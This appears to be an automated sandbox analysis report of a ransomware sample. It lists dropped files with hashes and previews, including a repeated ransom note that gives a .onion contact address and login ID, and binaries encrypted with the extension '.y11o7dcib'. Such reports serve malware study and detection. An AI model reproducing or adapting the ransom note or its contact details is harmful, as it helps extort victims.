Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Internet Explorer\en-GB\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Internet Explorer\en-US\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Internet Explorer\images\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Internet Explorer\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	true
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\MSBuild\Microsoft\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\MSBuild\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	true
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Microsoft Office 15\ClientX64\IntegratedOffice.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5294946
Entropy (8bit):	7.097248406120422
Encrypted:	false
SSDEEP:	98304:9E/TCWFCe8275o8Apaluw5bh/uQMngm/zGjjtvT5aLLu+:ajq20sluwL/u3ngmajtvT5aLLu+
MD5:	831308FE3103007BCBACF3DE86C102BD
SHA1:	D100B6BCF0616E3E0A93FAF4EC7ED1C23B6336A8
SHA-256:	427BC931EE47DB6BF918DB5434676C578F725C2F14C954FCB54FC56C621902B2
SHA-512:	7A74C5DF51CEA0AD48C360A732ACF5A0F32F4F102BEAC64A60F096AA7C676B53B35671135FB1C51149F262F075B58785911A70571CB9678DA57E3C7AE353953B
Malicious:	false
Preview:	.sU.....8E\|....../?kP@hK....Qn.Z...=...E..Z.fV;...2n.h...?:........!..L.!This program cannot be run in DOS mode....$.......Jc.M.............p......nx......nx......).......)........p......+YA...A.T.Z.C+..kO. =.N.j...xO............XCx=C{.?0........$kxx.............kx......Rich....................PE..d....".e..........".... .z6..........32........@....................................n.iE.A.\|2../?kP.xK....Qn.J...=...E..Z.fV;...2n.h...?:8.B.......K..a...PI..%...\|P.(N....P.(...0.B.8...................X.B.(.....7.@.............6.0.....B......................text....P.......E.E..2../?kP.hK.2..1@.>~..=..uU....fV..LX.h...?:....@..@.data...`....0G.......G.............@....pdata...%...PI..&...:I.............@..@.didat.. .....K......`K.............@....{..U....8E...2../Y P.hK....Qn.Z..=..6o.Z.fFZ....%.h.....t:............@..@.reloc..(.....P.......O.............@..B.........................................................................).....8E.A..2../?kP.hK....Qn.Z...=.

C:\Program Files\Microsoft Office 15\ClientX64\IntegratedOffice.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5294946
Entropy (8bit):	7.097248406120422
Encrypted:	false
SSDEEP:	98304:9E/TCWFCe8275o8Apaluw5bh/uQMngm/zGjjtvT5aLLu+:ajq20sluwL/u3ngmajtvT5aLLu+
MD5:	831308FE3103007BCBACF3DE86C102BD
SHA1:	D100B6BCF0616E3E0A93FAF4EC7ED1C23B6336A8
SHA-256:	427BC931EE47DB6BF918DB5434676C578F725C2F14C954FCB54FC56C621902B2
SHA-512:	7A74C5DF51CEA0AD48C360A732ACF5A0F32F4F102BEAC64A60F096AA7C676B53B35671135FB1C51149F262F075B58785911A70571CB9678DA57E3C7AE353953B
Malicious:	false
Preview:	.sU.....8E\|....../?kP@hK....Qn.Z...=...E..Z.fV;...2n.h...?:........!..L.!This program cannot be run in DOS mode....$.......Jc.M.............p......nx......nx......).......)........p......+YA...A.T.Z.C+..kO. =.N.j...xO............XCx=C{.?0........$kxx.............kx......Rich....................PE..d....".e..........".... .z6..........32........@....................................n.iE.A.\|2../?kP.xK....Qn.J...=...E..Z.fV;...2n.h...?:8.B.......K..a...PI..%...\|P.(N....P.(...0.B.8...................X.B.(.....7.@.............6.0.....B......................text....P.......E.E..2../?kP.hK.2..1@.>~..=..uU....fV..LX.h...?:....@..@.data...`....0G.......G.............@....pdata...%...PI..&...:I.............@..@.didat.. .....K......`K.............@....{..U....8E...2../Y P.hK....Qn.Z..=..6o.Z.fFZ....%.h.....t:............@..@.reloc..(.....P.......O.............@..B.........................................................................).....8E.A..2../?kP.hK....Qn.Z...=.

C:\Program Files\Microsoft Office 15\ClientX64\OfficeClickToRun.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5294946
Entropy (8bit):	7.110605690588626
Encrypted:	false
SSDEEP:	98304:upYSGsvspLqGNJdCZ2PP/W0XxDbzRIsm8/6aHYtakL:CCb3xP/W0Xxmsm8/6aHYtakL
MD5:	36848453587BA339647D4209B0A47C5D
SHA1:	FBFC26F30EA92A90CEC6FC2AC0AFF2BF740EED54
SHA-256:	78830315665D28DC5AF24613F93D319B68BE0ECDAE920F00FBF8FD3D81A48B14
SHA-512:	08C755F094E5A14448AD624382CCA8D0F172F7466342736B914EEBE2A9717F04976DB32E07DE49C9548AC87D4D3F55A3B7D34587F8498C8A6FB8F8BA5FDAF19F
Malicious:	false
Preview:	...c.D.n...Ch...WY.0....5.](F....{.&...B.RZ.....&....i!.$.........!..L.!This program cannot be run in DOS mode....$.......Jc.M.............p......nx......nx......).......)........p......_..\|.F`pg.\.E...'..?.B.....(... .......V]..Dq.#.`$T...Vvv.kxx.............kx......Rich....................PE..d....".e..........".... .z6..........32........@...............................c.@.n].OC.Gq..WI.0....5.](F....{.&...B.RZ.....&....i..$.8.B.......K..a...PI..%...\|P.(N....P.(...0.B.8...................X.B.(.....7.@.............6.0.....B......................text.....ec.T.n..(C.C...WY.0....5.}(F.....&..5.B./dZ.;...X....i..$.....@..@.data...`....0G.......G.............@....pdata...%...PI..&...:I.............@..@.didat.. .....K......`K.............@......"...n..C..Z..UY.0.....5.](F....;.&...0..RZ..........i..o.............@..@.reloc..(.....P.......O.............@..B..........................................................................Sc.D.n...C.G...WY.0....5.](F....{.&.

C:\Program Files\Microsoft Office 15\ClientX64\OfficeClickToRun.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5294946
Entropy (8bit):	7.110605690588626
Encrypted:	false
SSDEEP:	98304:upYSGsvspLqGNJdCZ2PP/W0XxDbzRIsm8/6aHYtakL:CCb3xP/W0Xxmsm8/6aHYtakL
MD5:	36848453587BA339647D4209B0A47C5D
SHA1:	FBFC26F30EA92A90CEC6FC2AC0AFF2BF740EED54
SHA-256:	78830315665D28DC5AF24613F93D319B68BE0ECDAE920F00FBF8FD3D81A48B14
SHA-512:	08C755F094E5A14448AD624382CCA8D0F172F7466342736B914EEBE2A9717F04976DB32E07DE49C9548AC87D4D3F55A3B7D34587F8498C8A6FB8F8BA5FDAF19F
Malicious:	false
Preview:	...c.D.n...Ch...WY.0....5.](F....{.&...B.RZ.....&....i!.$.........!..L.!This program cannot be run in DOS mode....$.......Jc.M.............p......nx......nx......).......)........p......_..\|.F`pg.\.E...'..?.B.....(... .......V]..Dq.#.`$T...Vvv.kxx.............kx......Rich....................PE..d....".e..........".... .z6..........32........@...............................c.@.n].OC.Gq..WI.0....5.](F....{.&...B.RZ.....&....i..$.8.B.......K..a...PI..%...\|P.(N....P.(...0.B.8...................X.B.(.....7.@.............6.0.....B......................text.....ec.T.n..(C.C...WY.0....5.}(F.....&..5.B./dZ.;...X....i..$.....@..@.data...`....0G.......G.............@....pdata...%...PI..&...:I.............@..@.didat.. .....K......`K.............@......"...n..C..Z..UY.0.....5.](F....;.&...0..RZ..........i..o.............@..@.reloc..(.....P.......O.............@..B..........................................................................Sc.D.n...C.G...WY.0....5.](F....{.&.

C:\Program Files\Microsoft Office 15\ClientX64\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Microsoft Office 15\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	true
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Microsoft\OneDrive\ListSync\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Microsoft\OneDrive\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Microsoft\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	true
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Mozilla Firefox\AccessibleMarshal.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	32474
Entropy (8bit):	6.828871427275436
Encrypted:	false
SSDEEP:	384:hFfYY3BKzaZHKfG7vbh4RL6Yu1PMSXh3fp80aYLNhiJ5zomWtZ0w/1+xgzE/PrQN:ht38zaZqit661hx3MYhCatZx0Cm4
MD5:	42C86FCF3726731457FAFEC37A979A7B
SHA1:	A86AD43710B55F7E103C3832364D3B8E9CB71D94
SHA-256:	F0EC0D10BA607C3C82671346593F206ABD944FCD0804C1785DE242F266DA7F41
SHA-512:	E19510D6A379A386E2E0D6E7730821DDDA599666B329D257686BDDDA849264041C3DAA32C63D47CFD6271491CE517C2A9CECD29B2F07938A325AD34CF9F095EA
Malicious:	true
Preview:	;w.l.. xz9.?....A..c.B..K..(.4l.V..r..Lz..^.M.~..Ls..Y3../.........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........." .........<......................................\|-.l.. \|.9.?...R..a."...[..(.4l.V..r..Lz..^.M.n..Ls..Y3../..-.......-..x............P.......T...)...........,............................... ..8............/..............................XY..... .t9.?....Q..c.B...K..(.4l.V..r..b....?.Mii..Ls..Y3./.............@..@.data...@....@.......,..............@....pdata.......P......................@..@.00cfg..(....`.......0..........v-.l...`R.K.\....A..c.B...K....4l.V..r..Lz..^.-...... s..Y3../......4...................rsrc................6..............@..@.reloc...............R..............@..B........................v-.l.. \|z9.?....A..c.B...K..(.4l.V..r..Lz..^.M.~..Ls..Y3./.................................................................................................................................v-.l.. \|z9.?....A..c.B...K..(.4l.V..r..

C:\Program Files\Mozilla Firefox\AccessibleMarshal.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	32474
Entropy (8bit):	6.828871427275436
Encrypted:	false
SSDEEP:	384:hFfYY3BKzaZHKfG7vbh4RL6Yu1PMSXh3fp80aYLNhiJ5zomWtZ0w/1+xgzE/PrQN:ht38zaZqit661hx3MYhCatZx0Cm4
MD5:	42C86FCF3726731457FAFEC37A979A7B
SHA1:	A86AD43710B55F7E103C3832364D3B8E9CB71D94
SHA-256:	F0EC0D10BA607C3C82671346593F206ABD944FCD0804C1785DE242F266DA7F41
SHA-512:	E19510D6A379A386E2E0D6E7730821DDDA599666B329D257686BDDDA849264041C3DAA32C63D47CFD6271491CE517C2A9CECD29B2F07938A325AD34CF9F095EA
Malicious:	false
